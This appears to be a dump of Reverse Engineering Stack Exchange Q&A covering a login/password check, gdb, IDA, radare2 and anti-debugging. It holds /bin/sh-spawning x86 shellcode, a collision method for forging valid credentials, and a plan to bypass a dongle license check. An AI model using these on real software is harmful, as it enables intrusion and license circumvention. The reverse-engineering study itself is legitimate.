    We enter a login and a password. Then we apply algorithm #1 on login. And algorithm #2 on password. In both cases we get a number as a result. And if the two numbers are equal, then the password is correct. I'm trying to find a way to generate a correct password for any given login.

    \n\n

    I've figured out both algorithms with IDA and wrote a program in C++ to test my solutions.

    \n\n

    Algorithm For Login

    \n\n

    Login should be at least 4 chars.

    \n\n
    login = \"Vasya_Pupkin\"\n
    \n\n

    1) From login we get two first chars (\"Va\") and two last (\"in\") and write its ASCII-code into hex number:

    \n\n
    V = 0x56, a = 0x61, i = 0x69, n = 0x6e\nhexVain = 0x5661696e\n
    \n\n

    2) We go through the login string and add up all ASCII-codes:

    \n\n
    for (int j = 0; j < login.length(); j++)        \n    asciiSum += login[j];\n
    \n\n

    For Vasya_Pupkin we get \n asciiSum = 0x4da

    \n\n

    3) We xor those values with some number 0xfec0135a:

    \n\n
    hexVain ^ asciiSum ^ 0xfec0135a\nmagicValueLogin = 0xa8a17eee\n
    \n\n

    Algorithm For Password

    \n\n

    Password should be at least 12 chars and should contain only'a'-'f', 'A'-'F', '0'-'9'.\nWe enter password as string. Then we divide the length by 2.

    \n\n
    password_str = \"011c0d0f090e00\";\nn = password_str.length() / 2;  // n = 7\n
    \n\n

    Then we convert string representation to hex and aplly this algorithm:\nWe go through every byte from left to right and calculate new magic value.

    \n\n
    password = 0x011c0d0f090e00;\nmagicValuePass = 0xadde;\nfor (int i = 0; i < n; i++)\n{\n    // we count bytes from left to right\n    passByte = getByte(password, i);    \n\n    // multiplication by 32 is left shift for 5 bytes\n    magicValuePass = passByte ^ (32 * magicValuePass + 1) ^ 0xdeadbeef;\n}\n
    \n\n

    The output of this function is following:

    \n\n
    Byte:  01\nMagic: deb8052f\n\nByte:  1c\nMagic: 9ad1b12\n\nByte:  0d\nMagic: eb0edca3\n\nByte:  0f\nMagic: bf762a81\n\nByte:  09\nMagic: 3068eec7\n\nByte:  0e\nMagic: d3b06600\n\nByte:  00\nMagic: a8a17eee\n
    \n\n

    In the end we get magicValuePass = 0xa8a17eee which is the same value we get for login so the password is correct.

    \n\n

    What I've Tried

    \n\n

    I thought about reversing magicValuePass generation but but came to conclusion that's a bad idea.

    \n", "Title": "Identify password generation algorithm", "Tags": "|encryption|decryption|xor|", "Answer": "

    How about generating many logins from a password?

    \n\n

    To start, algorithm 1 looks like the weakest link. Algorithm 2 is a one directional hash function and there's no way you can extract the characters by only knowing the magic number and the password bias. It involves some advanced math work and time. I explain the process of breaking Algorithm 2 in the second section.

    \n\n

    Suppose :

    \n\n

    log_bias = 0xfec0135a

    \n\n

    pass_bias = 0xdeadbeef

    \n\n

    Let's look at algorithm 1:

    \n\n

    1) log_chunk = 0xlogin(0)login(1)login(n - 2)login(n - 1);

    \n\n

    2) log_checksum = Sum(login, 0, n);

    \n\n

    3) log_magicnumber = log_chunk ^ log_checksum ^ log_bias;

    \n\n

    This algorithm shows two potential weaknesses. One, if you take the magic number and xor it with the log_bias constant you obtain : \nlog_chunk ^ log_checksum.\nTwo, log_chunk is a concatenation in hex of the first two characters and the last two characters and it provides a frame for the login; therefore, we can generate our own characters and give that variable a value.

    \n\n

    After getting rid of the bias and choosing a value for the chunk, we can obtain a value for log_checksum.

    \n\n

    log_checksum = (log_magicnumber ^ log_bias) ^ log_chunk;

    \n\n

    What's left to do is to find a sequence of numbers representing characters which sum is the checksum.

    \n\n

    How?

    \n\n

    Well, if you look at the ASCII table you'll see that printable characters go from 33 to 126. If we generate a random value b between 33 and 126 and subtract it from the checksum we obtain a character value b and reduce the checksum value by b : log_checksum -= b. Repeat this operation until checksum value goes below 126 and only store characters which diff = (log_checksum - b) is greater or equal than 33. This way, all characters will be printable.

    \n\n

    After filling the middle of the login string it can be represented as follows :

    \n\n

    login = A B b0 b1 b2 ... bj C D

    \n\n

    with A, B, C, D the characters we chose, and bi the characters generated from the checksum.

    \n\n

    This reverse engineering approach is a cheap smart hack that targets the weakest hash function of the process and it will definitely work and save you time. From one password you'll obtain multiple logins : this is called a hash collision.

    \n\n

    Here's an example output of this code:

    \n\n
    Login: Vasya_Pupkin\nPassword: 011c0d0f090e00\nLogin    check : 0xa8a17eee\nPassword check : 0xa8a17eee\nCheck success :)\nValid login for pass_magicnumber 0xa8a17eee: Va[JiIUpHBI]in, length = 14\nValid login for pass_magicnumber 0xa8a17eee: VaU[^OnyD^fin, length = 13\nValid login for pass_magicnumber 0xa8a17eee: Va|IkH`y`i2in, length = 13\nValid login for pass_magicnumber 0xa8a17eee: VaTziSl^oK>in, length = 13\nValid login for pass_magicnumber 0xa8a17eee: VawNzAOGWktin, length = 13\nValid login for pass_magicnumber 0xa8a17eee: Vaeh]bmzbwin, length = 12\nValid login for pass_magicnumber 0xa8a17eee: VaugjXcNEvBin, length = 13\nValid login for pass_magicnumber 0xa8a17eee: VaJoMwQ{p[8in, length = 13\nValid login for pass_magicnumber 0xa8a17eee: VatBZwR`R|Ein, length = 13\nValid login for pass_magicnumber 0xa8a17eee: VaIy[lkZQbKin, length = 13\n
    \n\n

    All the listed valid logins will work for the password \"011c0d0f090e00\".\nIf you alter the password a bit, say : \"011c0d0f090efe\", here's what you get :

    \n\n
    Login: VaNpNa^Twin \nPassword: 011c0d0f090efe\nLogin    check : 0xa8a17e10\nPassword check : 0xa8a17e10\nCheck success :)\nValid login for pass_magicnumber 0xa8a17e10: VaeOTUkOG8in, length = 12\nValid login for pass_magicnumber 0xa8a17e10: VaUDFEzBx>in, length = 12\nValid login for pass_magicnumber 0xa8a17e10: Va|gktoein, length = 10\nValid login for pass_magicnumber 0xa8a17e10: VaaPRTogiin, length = 11\nValid login for pass_magicnumber 0xa8a17e10: VaFEzBpktin, length = 11\nValid login for pass_magicnumber 0xa8a17e10: VafCCzmQrin, length = 11\nValid login for pass_magicnumber 0xa8a17e10: VaFDWMHSNC<in, length = 13\nValid login for pass_magicnumber 0xa8a17e10: VaSvoIgR\\in, length = 11\nValid login for pass_magicnumber 0xa8a17e10: Va[{eLdl?in, length = 11\nValid login for pass_magicnumber 0xa8a17e10: VaPaoDPXFDin, length = 12\n
    \n\n
    \n\n

    Now, let's talk about generating passwords from a login magic number.\nYou'll have to attack this function :

    \n\n

    log_magicnumber = b ^ ((log_magicnumber << 5) + 1) ^ pass_bias

    \n\n

    If you look closely, you'll see that current log_magicnumber is computed using the previous log_magicnumber value transformed and mixed up with an unknown byte value and a known bias.\nIteratively, it looks like this:

    \n\n

    log_magicnumber(i) = b ^ ((log_magicnumber(i - 1) << 5) + 1) ^ pass_bias

    \n\n

    If we xor the pass_magicnumber and the pass_bias we're left with :

    \n\n

    b ^ ((log_magicnumber << 5) + 1)

    \n\n

    After generating all possible values of b (0-9 and a-f, 16 possibilities total) and deriving the corresponding value of log_magicnumber for each possible value of b, we apply the same step on these magic number values to obtain another value & we go on 8 times (the password string being a 64 bit value = 8 bytes with a minimum length of 6 bytes). We discard the two left-most bytes if set to zero and pack all the bytes into a password string; we then verify with the password magic number algorithm if the password's magic number matches the login's.

    \n\n

    This approach amounts to creating an 8 stage tree where each node has 16 children. This means that we'll have to generate 16 to the power of 8 characters : 16^8 = (2^4)^8 = 2^32 = 4.294.967.296 characters (4GB) and combine them in strings of 6 to 8 characters with each string being checked for validation. It was fun to code :)

    \n" }, { "Id": "16519", "CreationDate": "2017-10-09T22:06:46.367", "Body": "

    I'm trying to understand how the procedural generation in a particular Unity 3D game works. I do not have the source code/project file, just a windows build.

    \n\n

    I've opened up a dll called Assembly-UnityScript.dll with ILSpy and found some classes, but it's not immediately apparent how the classes are put together, i.e. how and when methods on the classes are called.

    \n\n

    I've looked at some tutorials but they are all concerned with injecting their own code into the game. I'm just interested in how my target game does what it does.

    \n\n

    Is there any straightforward way to figure out how the classes are used?

    \n", "Title": "See how classes are used in a Unity 3D game", "Tags": "|windows|dll|c#|", "Answer": "
    \n

    it's not immediately apparent how the classes are put together, i.e.\n how and when methods on the classes are called

    \n
    \n\n

    I'm afraid there is no free lunch here.

    \n\n

    What you can tackle this with two approaches:

    \n\n
      \n

    1. Static disassembly (look at the disassembled code and try to make sense of it)

      2. \n

    2. Dynamic analysis (e.g. use a debugger like dnSpy) This way you can 'watch' the acutal generation process.

      3. \n
    \n" }, { "Id": "16521", "CreationDate": "2017-10-10T04:45:49.023", "Body": "

    So I was messing with gdb and came across something rather interesting. I ran the following code into gdb:

    \n\n
    int i, g = 1;\nfor (i = 0; i < 100; i++)\n          g++;\n
    \n\n

    Before execution, disas main yields:

    \n\n
       0x000000000000064a <+0>: push   %rbp\n   0x000000000000064b <+1>: mov    %rsp,%rbp\n   0x000000000000064e <+4>: sub    $0x10,%rsp\n   0x0000000000000652 <+8>: movl   $0x1,-0x4(%rbp)\n   0x0000000000000659 <+15>:    movl   $0x0,-0x8(%rbp)\n   0x0000000000000660 <+22>:    jmp    0x66a <main+32>\n   0x0000000000000662 <+24>:    addl   $0x1,-0x4(%rbp)\n   0x0000000000000666 <+28>:    addl   $0x1,-0x8(%rbp)\n   0x000000000000066a <+32>:    cmpl   $0x63,-0x8(%rbp)\n   0x000000000000066e <+36>:    jle    0x662 <main+24>\n   0x0000000000000670 <+38>:    mov    -0x4(%rbp),%eax\n   ...\n
    \n\n

    Interestingly, after run, things look different:

    \n\n
       0x000055555555464a <+0>: push   %rbp\n   0x000055555555464b <+1>: mov    %rsp,%rbp\n   0x000055555555464e <+4>: sub    $0x10,%rsp\n   0x0000555555554652 <+8>: movl   $0x1,-0x4(%rbp)\n   0x0000555555554659 <+15>:    movl   $0x0,-0x8(%rbp)\n   0x0000555555554660 <+22>:    jmp    0x55555555466a <main+32>\n   0x0000555555554662 <+24>:    addl   $0x1,-0x4(%rbp)\n   0x0000555555554666 <+28>:    addl   $0x1,-0x8(%rbp)\n   0x000055555555466a <+32>:    cmpl   $0x63,-0x8(%rbp)\n   0x000055555555466e <+36>:    jle    0x555555554662 <main+24>\n   0x0000555555554670 <+38>:    mov    -0x4(%rbp),%eax\n   ...\n
    \n\n

    What is going on here? Why the addresses are different before execution?

    \n\n

    Edit:

    \n\n

    Output of info proc mappings:

    \n\n
          Start Addr           End Addr       Size     Offset objfile\n  0x555555554000     0x555555555000     0x1000        0x0 /tmp/test\n  0x555555754000     0x555555755000     0x1000        0x0 /tmp/test\n  0x555555755000     0x555555756000     0x1000     0x1000 /tmp/test\n  0x7ffff7a21000     0x7ffff7bcf000   0x1ae000        0x0 /usr/lib/libc-2.26.so\n  0x7ffff7bcf000     0x7ffff7dce000   0x1ff000   0x1ae000 /usr/lib/libc-2.26.so\n  0x7ffff7dce000     0x7ffff7dd2000     0x4000   0x1ad000 /usr/lib/libc-2.26.so\n  0x7ffff7dd2000     0x7ffff7dd4000     0x2000   0x1b1000 /usr/lib/libc-2.26.so\n  0x7ffff7dd4000     0x7ffff7dd8000     0x4000        0x0 \n  0x7ffff7dd8000     0x7ffff7dfd000    0x25000        0x0 /usr/lib/ld-2.26.so\n  0x7ffff7fcc000     0x7ffff7fce000     0x2000        0x0 \n  0x7ffff7ff7000     0x7ffff7ffa000     0x3000        0x0 [vvar]\n  0x7ffff7ffa000     0x7ffff7ffc000     0x2000        0x0 [vdso]\n  0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x24000 /usr/lib/ld-2.26.so\n  0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x25000 /usr/lib/ld-2.26.so\n  0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0 \n  0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]\n  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]\n
    \n\n

    maint info section:

    \n\n
    file type elf64-x86-64.\n [0]     0x00000238->0x00000254 at 0x00000238: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS\n [1]     0x00000254->0x00000274 at 0x00000254: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS\n [2]     0x00000274->0x00000298 at 0x00000274: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS\n [3]     0x00000298->0x000002b4 at 0x00000298: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS\n [4]     0x000002b8->0x00000360 at 0x000002b8: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS\n [5]     0x00000360->0x000003e4 at 0x00000360: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS\n [6]     0x000003e4->0x000003f2 at 0x000003e4: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS\n [7]     0x000003f8->0x00000418 at 0x000003f8: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS\n [8]     0x00000418->0x000004f0 at 0x00000418: .rela.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS\n [9]     0x000004f0->0x00000508 at 0x000004f0: .rela.plt ALLOC LOAD READONLY DATA HAS_CONTENTS\n [10]     0x00000508->0x0000051f at 0x00000508: .init ALLOC LOAD READONLY CODE HAS_CONTENTS\n [11]     0x00000520->0x00000540 at 0x00000520: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS\n [12]     0x00000540->0x00000702 at 0x00000540: .text ALLOC LOAD READONLY CODE HAS_CONTENTS\n [13]     0x00000704->0x0000070d at 0x00000704: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS\n [14]     0x00000710->0x00000718 at 0x00000710: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS\n [15]     0x00000718->0x0000074c at 0x00000718: .eh_frame_hdr ALLOC LOAD READONLY DATA HAS_CONTENTS\n [16]     0x00000750->0x00000840 at 0x00000750: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS\n [17]     0x00200de0->0x00200de8 at 0x00000de0: .init_array ALLOC LOAD DATA HAS_CONTENTS\n [18]     0x00200de8->0x00200df0 at 0x00000de8: .fini_array ALLOC LOAD DATA HAS_CONTENTS\n [19]     0x00200df0->0x00200fd0 at 0x00000df0: .dynamic ALLOC LOAD DATA HAS_CONTENTS\n [20]     0x00200fd0->0x00201000 at 0x00000fd0: .got ALLOC LOAD DATA HAS_CONTENTS\n [21]     0x00201000->0x00201020 at 0x00001000: .got.plt ALLOC LOAD DATA HAS_CONTENTS\n [22]     0x00201020->0x00201030 at 0x00001020: .data ALLOC LOAD DATA HAS_CONTENTS\n [23]     0x00201030->0x00201038 at 0x00001030: .bss ALLOC\n [24]     0x00000000->0x00000011 at 0x00001030: .comment READONLY HAS_CONTENTS\n
    \n", "Title": "Understanding gdb output", "Tags": "|disassembly|gdb|elf|", "Answer": "

    Seems like relocation. If you look at the addresses in your first listing, you will notice that these addresses are unusually low. That's probably because gdb displays file offsets there (although I have no idea why that is the case for you).

    \n\n

    When you run the file, the loader kicks in and maps the sections to the virtual address space of the program, and thats where the 0x0000555555554000 section offset comes from.

    \n\n

    You can see the file offsets of each section using maint info sections. You can get information about the actual mapped memory sections using info proc mappings at runtime.

    \n\n

    edit:

    \n\n

    Based on the output of the commands above, everything seems to be alright.

    \n\n
    [12]     0x00000540->0x00000702 at 0x00000540: .text ALLOC LOAD READONLY CODE HAS_CONTENTS\n
    \n\n

    This line states that the .text section of your code starts at file offset 0x540 and ends at 0x702 containing code. If your compare it with your first disassembly starting at offset 0x64a, this is a decent fit.

    \n\n
    0x555555554000     0x555555555000     0x1000        0x0 /tmp/test\n
    \n\n

    This line states that the executable itself was mapped to the base address 0x555555554000. Given the offset from before, that means your main function should be at 0x555555554000 + 0x64a. Your second disassembly confirms that.

    \n" }, { "Id": "16528", "CreationDate": "2017-10-11T05:54:03.457", "Body": "

    I'm trying to bypass the license validation process of a very old program called COSIMIR. It uses a USB dongle (which we have) however I don't have access to it, because it belongs to my university.

    \n\n

    And there is a student version of COSIMIR, the problem is that it isn't compatible with anything we do in the other one, so I copied every file of the Industrial version into my lap and got the installation fixed with olly (because many things where missing). I had to do this because the person who installed this software (and therefore the one with the installer) doesn't work there anymore.

    \n\n

    After fixing it up, and being able to execute it from start to end I finally got into the activation failure screen, the problem is, I don't know where to start. I mean, which .dll is used to initialize the dongle? My plan was to avoid its init, and see if I can jump my way though without creating an exception, is my first crack with a dongle, so I don't know if it's the right way to go. Also this is the screen I get popped into:

    \n\n

    \"enter

    \n\n

    However, after seeing it, I started wondering if it would be easier to try to bypass one of the other 2 methods, by the way I'm like 80% sure it just uses the dongle for the license.\nAlso, I'm almost sure it uses a Marx Dongle, since the one we have attached in the back of the computer we have licensed looks exactly like this one:

    \n\n

    \"enter

    \n\n

    However the one the installation guide of COSIMIR indicates, looks completely different.\nAlso, even though I cannot detach that dongle (because it is secured to the PC mainly because somehow the PC will stop working is we disconnect it, I still can do some fast debugging commands in there lie a run trace or stuff like that.

    \n\n

    To keep things short, my main question is: Which library should I put my breakpoint on if I want to avoid the USB access? my main suspects are:

    \n\n\n\n

    and my secondary suspects are

    \n\n\n\n

    Also, I'm going to try to reach the Company by mail as Nordwald suggests, but even if I get a positive response, I would enjoy the help, for learning purposes.

    \n", "Title": "Where should I put my breakpoint? (USB dongle protected software, probably marx)", "Tags": "|debugging|usb|dongle|", "Answer": "

    According to their developer documentation, it could be one of the following dll files:

    \n\n
    mpiwin32.dll\nCBIOSVB6.DLL\nWebLM.dll\nCBIOS4NET.dll\nCBIOS4NET64.dll\n
    \n\n

    It's always a good idea to go to the dongle's manufacturer website and see if they have document for developers describing their API.

    \n" }, { "Id": "16542", "CreationDate": "2017-10-13T15:14:37.287", "Body": "

    I'm using IDA Pro 7.0.

    \n\n

    I am analyzing a library that is part of a larger ARM executable, so there are often calls to external functions that aren't in this library. Therefore obviously the address of the call does not get symbolicated correctly. For example, the program might be calling mmap, which is at 0x12345678a , but it shows up as

    \n\n
    BL              0x12345678a\n
    \n\n

    instead of

    \n\n
    BL              _mmap\n
    \n\n

    I have a text file that lists all the external functions and their addresses; i.e., one of the lines of this file is

    \n\n
    12345678a _mmap\n
    \n\n

    So I want to write a script to rename the locations in IDA based on this external file.

    \n\n

    Can anyone tell me what the IDC or IdaPython command would be to associate the address 0x12345678a with the name _mmap so that these calls show up correctly in the disassembly?

    \n\n

    Something like MakeName(0x12345678a, '_mmap') doesn't work, because 0x12345678a doesn't exist in any segment of the library I'm inspecting. Also, I would prefer them not to show up in the names list if possible.

    \n", "Title": "Give a name to an arbitrary hex value in IDA Pro", "Tags": "|ida|idapython|", "Answer": "

    You can't rename the locations, because by your own admission, they don't exist. In this case, if you're not worried about maintaing control flow information and just want to see the name that corresponds to the address, you can do a couple of things.

    \n\n

    Inline Comments

    \n\n

    You can write an IDAPython script to:

    \n\n
      \n
    1. Parse your text file
      2. \n
    2. Locate all of the unresolved BL calls, extract the address
      3. \n
    3. Look up the name in your parsed symbol information
      4. \n
    4. Create a comment in the database with the symbol name using the idc.MakeComm(ea, symbol_name) function
      5. \n
    \n\n

    This will get you an inline comment with the symbol name, something like this:

    \n\n
    BL 0x12345678a  # _memmap\n
    \n\n

    Make an Enum from the Symbol Info

    \n\n

    If you wanted to change the representation of the raw address to a string, you can create an enum out of the data in the text file, and then apply that enum to the operand of all the BL instructions that have unresolved targets. This should effectively give you a name for that call target, even though the address doesn't exist in the database, like so:

    \n\n
    BL _memmap\n
    \n\n

    You can accomplish this a couple of ways: by using the IDAPython enum functions (AddEnum/AddConstEx), assuming you have processed your text file into a list of tuples of (symbol, addr):

    \n\n
    id = idc.AddEnum(index, \"MyEnum\", flags)\nfor symbol, addr in text_info:\n    idc.AddConstEx(id, symbol, value, bmask)\n
    \n\n

    You can then use the idc.OpEnumEx() function wherever you have a raw address in your BL instruction to set that operand to your enum type.

    \n\n

    You can also convert your text information file into a C header file with a single enum representing your mapping, but this is a bit more tedious.

    \n\n

    Be warned, this is only cosmetic. Attempting to utilize any of the xref capabilities will fail, because it's not actually an address in the database, just a symbolic representation of the immediate value.

    \n\n

    Conclusion

    \n\n

    Both of the previously described methods will get you the information you want without adding items to the Names list.

    \n\n

    If you wanted to maintain control flow information and get them to \"show up correctly in the disassembly\", you would have to create plt/got segments to simulate the rest of your address space. It's a bit more complicated, but doable if you need to do more complex analysis or want to take advantage of IDA's library recognition and type propagation. Sounds like you just need the visual assistance of the symbol name, though. Hope this helps.

    \n" }, { "Id": "16544", "CreationDate": "2017-10-14T02:31:55.370", "Body": "

    Since software breakpoints, unlike hardware breakpoints , do change the code, it's relatively easy to write a program that performs a checksum on itself as an anti-debugger technique. Is it possible to do something similar with hardware breakpoints?

    \n", "Title": "Detecting hardware breakpoints", "Tags": "|anti-debugging|breakpoint|", "Answer": "

    This is a really good question since this topic isn't as popular as anti-debugging techniques to detect software breakpoints. Since you didn't mention the architecture we have to keep in mind that Hardware Breakpoints, as its name hints, are depends on the hardware you're running on and thus the implementation of such breakpoints is differ between each architecture. Since we can't cover in this answer all the architectures, I'll write here in an assumption that we're talking about Intel's x86 architecture on Windows.

    \n\n

    In short, the answer is yes. There are basically two common ways to detect hardware breakpoints:

    \n\n
      \n
    1. Using thread's context to access Debug Registers
      2. \n
    2. Crafting a SEH (Structured Exception Handling), then to cause an exception and access the debug registers
      3. \n
    \n\n

    In order to understand each method we should understand first what Hardware Breakpoint is and (in short) how it works.

    \n\n

    Hardware Breakpoint

    \n\n

    In x86 architecture the debugger uses a set of Debug Registers in order to apply hardware breakpoints. There are 8 debug registers exists to control the debugging procedure, ranging from DR0 to DR7. These registers are not accessible from ring3 privileges but only accessible from CPL0 (Current Privilege Levels, ring0). Thus, an attempt to read or write the debug registers when executing at any other privilege level causes a general protection fault. The debug registers allow the debugger to interrupt program execution and transfer the control to it when accessing memory to read or write.

    \n\n

    x86 Debug Registers

    \n\n\n\n

    DR0-DR3 store a linear address of a breakpoint. The stored address can be the same as the physical address or it needs to be translated to the physical address. DR6 indicates which breakpoint is activated. DR7 defines the breakpoint activation mode by the access modes: read, write, or execute.

    \n\n

    Detecting Hardware Breakpoints

    \n\n

    Method one - ThreadContext Win API

    \n\n

    The following example is based on an example from this article from CodeProject. The example is commented to describe each piece of code:

    \n\n
    bool IsHWBreakpointExists()\n{\n    // This structure is key to the function and is the \n    CONTEXT ctx;\n    ZeroMemory(&ctx, sizeof(CONTEXT));\n\n    // The CONTEXT structure is an in/out parameter therefore we have\n    // to set the flags so Get/SetThreadContext knows what to set or get.   \n    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;\n\n    // Get a handle to our thread\n    HANDLE hThread = GetCurrentThread();\n    // Get the registers\n    if(GetThreadContext(hThread, &ctx) == 0)\n        return false;   \n\n    if ((ctx.Dr0) || (ctx.Dr1) || (ctx.Dr2) || (ctx.Dr3)) {\n        return true;\n    }\n    else {\n        return false;\n    }\n} \n
    \n\n

    Method 2 - SEH
    \nThe SEH method of manipulating the debug registers is much more common and is easier to implement it in Assembly, as shown in the following example, again from CodeProject:

    \n\n
    ClrHwBpHandler proto\n .safeseh ClrHwBpHandler\n\nClearHardwareBreakpoints proc\n     assume fs:nothing\n     push offset ClrHwBpHandler\n    push fs:[0]\n    mov dword ptr fs:[0], esp ; Setup SEH\n     xor eax, eax\n     div eax ; Cause an exception\n     pop dword ptr fs:[0] ; Execution continues here\n     add esp, 4\n     ret\nClearHardwareBreakpoints endp\n\nClrHwBpHandler proc \n     xor eax, eax\n    mov ecx, [esp + 0ch] ; This is a CONTEXT structure on the stack\n     mov dword ptr [ecx + 04h], eax ; Dr0\n     mov dword ptr [ecx + 08h], eax ; Dr1\n     mov dword ptr [ecx + 0ch], eax ; Dr2\n     mov dword ptr [ecx + 10h], eax ; Dr3\n     mov dword ptr [ecx + 14h], eax ; Dr6\n     mov dword ptr [ecx + 18h], eax ; Dr7\n     add dword ptr [ecx + 0b8h], 2 ; We add 2 to EIP to skip the div eax\n     ret\nClrHwBpHandler endp\n
    \n\n

    References:

    \n\n\n" }, { "Id": "16553", "CreationDate": "2017-10-15T17:10:35.957", "Body": "

    I am working on a basic shellcode that will spawn a shell after getting called in a 32-bit program.\nHere is the shellcode i'm using:

    \n\n
    xor    %eax,%eax  \npush   %eax  \npush   $0x68732f2f  \npush   $0x6e69622f  \nmov    %esp,%ebx  \npush   %eax  \npush   %ebx  \nmov    %esp,%ecx  \nmov    $0xb,%al  \nint    $0x80  \n
    \n\n

    (Source: http://shell-storm.org/shellcode/files/shellcode-827.php)

    \n\n

    I am successfully using this shellcode when i hardcode it inside the exploited program:

    \n\n
    char *shellcode = \"\\x31[...]x80\";  \nint main(void)  \n{  \n    (*(void(*)()) shellcode)();  \n    return 0;  \n}  \n
    \n\n

    But when i try to read the shellcode from the standard input, i get a segmentation fault instead. This is the program used:

    \n\n
    #include [...]\ntypedef void (*func)(void);\nint main(void)\n{\n    char input[4096];\n    read(0, input, 4096);\n    ((func)&input)();\n    return 0;\n}\n
    \n\n

    When i debug this program with gdb, i can see that everything goes as planned until this instruction:

    \n\n
    int    $0x80\n
    \n\n

    Where the program doesn't do anything and continue to the next instruction like nothing happened, which make the program crash.

    \n\n

    At first i thought this was because i didn't disabled some execution prevention, but i'm compiling with the following flags:

    \n\n
    gcc shell.c -o shell -fno-stack-protector -m32 -z execstack\n
    \n\n

    I could really use help on it, I've been stuck on it all day.

    \n", "Title": "Basic shellcode doesn't work when read from stdin", "Tags": "|x86|linux|shellcode|", "Answer": "

    Different ways answer from sudhackar, you can just add push edx to zeroing edx in your shellcode

    \n\n
    xor eax, eax\npush eax\npush 0x68732f2f\npush 0x6e69622f\nmov ebx, esp\npush eax\npush ebx\npush edx\nmov ecx, esp\nmov al, 0xb\nint 0x80\n
    \n" }, { "Id": "16558", "CreationDate": "2017-10-16T02:08:11.477", "Body": "

    I started to use radare2 to debug a PE file because it stops working as soon as I run it. When I attach my debugger and continue execution to the point where the exception is thrown I get a memory address in which the exception occurred.

    \n\n

    What can I do with this address to further analyze the problem at hand?

    \n\n
    c484f\\mscorlib.ni.dll) mscorlib.ni.dll\n(14116) loading library at 77130000 (C:\\Windows\\SysWOW64\\ole32.dll) ole32.dll\n(14116) loading library at 70100000 (C:\\Windows\\SysWOW64\\uxtheme.dll) uxtheme.dll\n(14116) loading library at 700A0000 (C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll) mscorjit.dll\n(14116) loading library at 6C3C0000 (C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Culture.dll) Culture.dll\n(14116) unloading library at 6C3C0000 (C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Culture.dll) Culture.dll\n(14116) Unknown exception e06d7363 in thread 10352\n
    \n", "Title": "Disassembling at a memory address", "Tags": "|disassembly|windows|pe|radare2|", "Answer": "

    Since the question in the subject is slightly different than the question in the body of your question, I'll focus on the first one.

    \n\n

    Disassemble at a specific address

    \n\n

    In order to disassemble the code at a specific memory address using radare2 you should use the pd @ <address> command.

    \n\n
    \n

    pd[?] [sz] [a] [b] \u2014 disassemble N opcodes (pd) or N bytes\n (pD)

    \n
    \n\n

    After attaching radare to the program you should be able to print the disassembly in this specific address. Assuming the pid of the program is 317:

    \n\n
    $ radare2 -d 317\n= attach 317 317\nbin.baddr 0x00400000\nUsing 0x400000\nasm.bits 64\n\n[0x7f2e51727230]> pd @ <address>\n
    \n\n

    pd is a subcommand of p and stands for print disassembly. You can check p? and especially pd? for more relevant subcommands. Adding ? at the end of most of the commands in radare will print its help and its subcommands. By default, pd prints b instructions from the specified address where b is the default basic-block size. The default size of b is 0x100 but you can change it easily using b <size>.

    \n\n

    The @ sign is radare's temporary seek address so whenever you want to print the disassembly in a specific address you should use it. The number specified before the @ sign is the number of instructions to print. A common mistake is executing pd with the address before @. Thus, executing pd 0x400000 would print 0x400000 instructions from the current seek.

    \n\n
    \n\n

    The exception

    \n\n

    You received \"Unknown exception e06d7363\" which is an exception generated by Microsoft Visual C++ compiler.

    \n\n

    As stated in Microsoft's support page:

    \n\n
    \n

    Cause
    \n All Visual C++ exceptions thrown from code generated by the\n Microsoft Visual C++ compiler contain this error code. Because this is\n a compiler-generated error, the code is not listed in the Win32 API\n header files. The code is actually a cryptic mnemonic device, with the\n initial \"E\" standing for \"exception\" and the final 3 bytes (0x6D7363)\n representing the ASCII values of \"msc\".

    \n
    \n\n

    To continue your analysis I'd suggest you to read Decoding the parameters of a thrown C++ exception (0xE06D7363) and its revisited article.

    \n\n

    Note that the addresses of the executable in the memory might change in each run, depends on your system and the program itself. Therefore, sometimes you won't be able to predict what would be the address which causes the exception.

    \n\n

    Check the Migration from ida, GDB or WinDBG page from radare2 book to see radare's corresponding commands to WinDBG's.

    \n" }, { "Id": "16563", "CreationDate": "2017-10-16T09:45:27.743", "Body": "

    There is something I am not understanding. Why do debuggers sometimes show only part of the call stack? The ones I tried are WinDbg and OllyDbg.

    \n\n

    Let me explain what I mean. Consider this example:

    \n\n

    I launched an application, and when a dialog box showed up, I attached OllyDbg to the application and paused to look at the call stack. However, I see this:

    \n\n

    \"Call

    \n\n

    As you can see, this is the call stack of the main thread of the application. Unfortunately, the presented call stack seems to stop at ntdll and does not continue to show the functions in the executable. Because this is the main thread, main() has definitely not returned as otherwise the process would have terminated.

    \n\n

    When I try using WinDbg, a similar thing happens for me as shown here.

    \n\n

    Why does this happen, and how do I find the full call stack?

    \n", "Title": "Why do debuggers sometimes not show entire call stack?", "Tags": "|windows|ollydbg|callstack|", "Answer": "

    Olly and WinDbg generate the 'call stack' by parsing the actual stack utilizing function signatures and calling convention. When the disassembler doesn't have the signature (e.g. when the developer didn't disclose the function signatures) it can only take educated guesses based on push- and pop-instructions (thin ice).

    \n\n

    The problem is, you actually need this information to calculate the size of the stack frames properly. Without this information, you can not tell if there is data on the stack or if its the return address of the next function.

    \n\n

    You can overcome these issues by keeping track of calls yourself without relying on the actual stack, maintaining a call stack yourself. In cases like this, implementation often limits the depth of the tracking list.

    \n\n

